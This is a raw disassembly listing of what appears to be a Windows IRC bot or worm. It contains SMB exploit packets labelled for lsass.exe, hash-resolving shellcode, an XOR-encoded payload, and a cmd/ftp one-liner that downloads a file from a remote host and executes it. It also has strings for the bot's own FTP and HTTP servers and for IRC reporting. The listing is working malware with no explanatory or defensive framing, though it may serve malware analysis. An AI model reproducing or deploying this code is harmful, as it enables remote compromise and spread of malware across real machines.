dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
dd offset loc_401495
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 2 dup(0)
dd 0AD9Dh, 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 4
dd 0
dd 1004600h, 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h
dd 20206C61h, 755B2020h, 6576696Eh, 6C617372h, 656E205Dh
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_41EE48 dd 0A0D7325h, 0 ; seg000:0040CB04o ...
byte_41EE50 db 90h ; DATA XREF: sub_40238E+B2o
db 42h, 90h, 42h
db 90h
dd offset aCrystal+6
align 4
dword_41EE5C dd 10FF8h, 0 dword_41EE64 dd 10FF8h dword_41EE68 dd 7FFDF020h, 0 dword_41EE70 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41EEF8 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_41EF28 dd 0 dd 800000D4h, 0
unk_41EF34 db 81h ; ; DATA XREF: sub_402892+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_41EF80 db 41h ; DATA XREF: sub_402930+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_41EFC4 proc near ; DATA XREF: sub_402B8D+80o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_41F0C0
push dword ptr [esi]
push 63D61209h
call sub_41F0D6
mov [esi+8], eax
call sub_41F089
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_41F0D6
mov [esi+0Ch], eax
call sub_41F03B
push dword ptr [esi+4]
push 4C0297FAh
call sub_41F0D6
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_41EFC4 endp
; =============== S U B R O U T I N E =======================================
sub_41F03B proc near ; CODE XREF: sub_41EFC4+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_41F064
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_41F03B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F064 proc near ; CODE XREF: sub_41F03B+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_41F073: ; CODE XREF: sub_41F064+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_41F080
inc ebx
jmp short loc_41F073
; ---------------------------------------------------------------------------
loc_41F080: ; CODE XREF: sub_41F064+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_41F064 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F089 proc near ; CODE XREF: sub_41EFC4+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_41F0A1: ; CODE XREF: sub_41F089+1Ej
cmp [ecx], ebx
jz short loc_41F0A9
mov ecx, [ecx]
jmp short loc_41F0A1
; ---------------------------------------------------------------------------
loc_41F0A9: ; CODE XREF: sub_41F089+1Aj
mov edx, edi
loc_41F0AB: ; CODE XREF: sub_41F089+2Aj
cmp [edx+4], ebx
jz short loc_41F0B5
mov edx, [edx+4]
jmp short loc_41F0AB
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41F089+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_41F089 endp
; =============== S U B R O U T I N E =======================================
sub_41F0C0 proc near ; CODE XREF: sub_41EFC4+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_41F0C0 endp
; =============== S U B R O U T I N E =======================================
sub_41F0D6 proc near ; CODE XREF: sub_41EFC4+16p
; sub_41EFC4+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_41F0EC: ; CODE XREF: sub_41F0D6+33j
jecxz short loc_41F126
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_41F0F9: ; CODE XREF: sub_41F0D6+2Dj
lodsb
cmp al, ah
jz short loc_41F105
ror edi, 0Dh
add edi, eax
jmp short loc_41F0F9
; ---------------------------------------------------------------------------
loc_41F105: ; CODE XREF: sub_41F0D6+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_41F0EC
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_41F126: ; CODE XREF: sub_41F0D6:loc_41F0ECj
; sub_41F0D6:loc_41F126j
jmp short loc_41F126
sub_41F0D6 endp
; ---------------------------------------------------------------------------
dd 0
; =============== S U B R O U T I N E =======================================
sub_41F12C proc near ; DATA XREF: sub_402B8D+30o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_41F17E
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_41F149: ; CODE XREF: sub_41F12C+38j
jecxz short loc_41F179
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_41F154: ; CODE XREF: sub_41F12C+32j
lodsb
test al, al
jz short loc_41F160
ror edx, 0Dh
add edx, eax
jmp short loc_41F154
; ---------------------------------------------------------------------------
loc_41F160: ; CODE XREF: sub_41F12C+2Bj
cmp edx, [esp+arg_0]
jnz short loc_41F149
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_41F179: ; CODE XREF: sub_41F12C:loc_41F149j
mov [esp+arg_0], ebx
retn
sub_41F12C endp
; =============== S U B R O U T I N E =======================================
sub_41F17E proc near ; CODE XREF: sub_41F12C+7p
; FUNCTION CHUNK AT 0041F1B6 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_41F197
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_41F1A2
; ---------------------------------------------------------------------------
loc_41F197: ; CODE XREF: sub_41F17E+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_41F1A2: ; CODE XREF: sub_41F17E+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_41F1B6
sub_41F17E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F1A9 proc near ; CODE XREF: sub_41F17E:loc_41F1B6p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_41F1A9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41F17E
loc_41F1B6: ; CODE XREF: sub_41F17E+29j
call sub_41F1A9
loc_41F1BB: ; DATA XREF: sub_402333+1Bo
; seg000:00409B10o ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_41F17E
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_41F1C0 dd 60h dword_41F1C4 dd 62B0606h, 2050501h, 0A0hdword_41F1D0 dd 30h ; seg002:0042342Co ...
dword_41F1D4 dd 0A1h dword_41F1D8 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40238E+153o
align 4
loc_41F1E4: ; DATA XREF: sub_40238E+E8o
jmp short near ptr dword_41F1EC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_41F1EC dd 0 dword_41F1F0 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: sub_402B8D+55o
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
db 1Ah
; ---------------------------------------------------------------------------
loc_41F27D: ; CODE XREF: seg002:0041F284j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_41F27D
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h, 7A69h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40318D+5CDo
aQuit db 'QUIT',0 ; DATA XREF: sub_40318D+5B9o
; seg000:004098B2o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40318D+5ACo
align 4
dword_41F40C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40318D+561o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40318D+542o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40318D+516o
align 10h
aRetr db 'RETR',0 ; DATA XREF: sub_40318D+4FEo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40318D+4E9o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40318D+4D8o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40318D+4A5o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40318D+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40318D:loc_4035B8o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40318D+3FDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_40318D+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40318D:loc_40353Co
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40318D+39Co
align 10h
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40318D+38Co
aI: ; DATA XREF: sub_40318D+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40318D+351o
aA: ; DATA XREF: sub_40318D+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40318D+326o
; sub_40318D+361o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40318D+316o
align 4
off_41F5C8 dd offset dword_445750 ; DATA XREF: sub_40318D+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40318D+2F2o
align 10h
aRest db 'REST',0 ; DATA XREF: sub_40318D+2DEo
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_40318D+2CEo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40318D+2BAo
align 10h
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40318D+2AAo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40318D+296o
align 10h
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40318D+286o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40318D+271o
; seg002:004231D8o ...
align 10h
aSS_1 db '%s %s',0 ; DATA XREF: sub_40318D+260o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40318D+1D8o
align 10h
aRb db 'rb',0 ; DATA XREF: sub_40380D+24o
; seg000:00404AF0o ...
align 4
unk_41F664 db 2 ; DATA XREF: sub_4038A7+3F8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_41F6AC db 0Dh,0Ah,0 ; DATA XREF: sub_4038A7+2CFo
align 10h
asc_41F6B0: ; DATA XREF: sub_4038A7+293o
; seg000:00409438o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_4038A7+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00403DF8o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00403DD5o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: seg000:00403D99o
; sub_40799C+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00403D85o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: seg000:loc_403D67o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: seg000:00403D60o
align 10h
unk_41F8D0 db 2 ; DATA XREF: seg000:00404113o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_41F91C db 2 ; DATA XREF: seg000:0040408Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_41F960: ; DATA XREF: seg000:00403FDBo
; seg002:00424E70o
unicode 0, <*>,0
asc_41F964: ; DATA XREF: seg000:00403F7Fo
; sub_404134+29o
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: seg000:00403F6Eo
; sub_404134+4CAo ...
align 10h
aS_1 db '%s',0 ; DATA XREF: seg000:00403EBEo
; seg000:0040AA8Eo ...
align 4
aS_2 db '\%s',0 ; DATA XREF: seg000:00403EB3o
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_404134+64Eo
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_404134+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404134+589o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404134+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404134:loc_40464Co
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404134+511o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404134+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404134+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404134+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404134:loc_4044F6o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404134+3BBo
align 4
aSS db '%s%s/',0 ; DATA XREF: sub_404134+374o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+330o
; sub_404134+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404134+30Eo
align 10h
aS_0 db '<%s>',0 ; DATA XREF: sub_404134+2E4o
; sub_404134+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404134+2BAo
aAm db 'AM',0 ; DATA XREF: sub_404134+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_404134+284o
align 10h
a__0: ; DATA XREF: sub_404134+24Do
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: sub_404134+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404134+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404134+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404134+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404134+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404134+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4048A1+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dd 4000500h, 7868746Bh, 0
dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 4
db 0
db 5, 0, 1
db 46h ; F
db 69h, 6Ch, 65h
db 20h
db 4Eh, 6Fh, 74h
db 20h
aFound db 'Found',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 4
unk_41FF1C db 2 ; DATA XREF: seg000:00404B1Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 4
unk_41FF6C db 2 ; DATA XREF: seg000:00404A2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketF_0 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: seg000:004049D1o
align 10h
aAsn1http_0 db 'asn1http',0 ; DATA XREF: sub_40550F+164o
align 2
aAsn1http db 'asn1http',0 ; DATA XREF: sub_402B8D+1C8o
align 4
dd 5 dup(0)
dword_41FFE8 dd 50h ; seg000:0040BA75r ...
off_41FFEC dd offset sub_402B8D ; DATA XREF: sub_40550F+1E6r
dword_41FFF0 dd 0 ; sub_402B8D+202r ...
dword_41FFF4 dd 1 dword_41FFF8 dd 1 aAsn1smb db 'asn1smb',0
dd 73610000h, 6D73316Eh, 62h, 5 dup(0)
dd 1BDh, 402B8Dh, 0
dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 402B8Dh, 0
dd 2 dup(1), 0
aAsn1http_1 db 'asn1http',0
align 2
byte_420082 db 1 ; DATA XREF: seg000:loc_40D384r
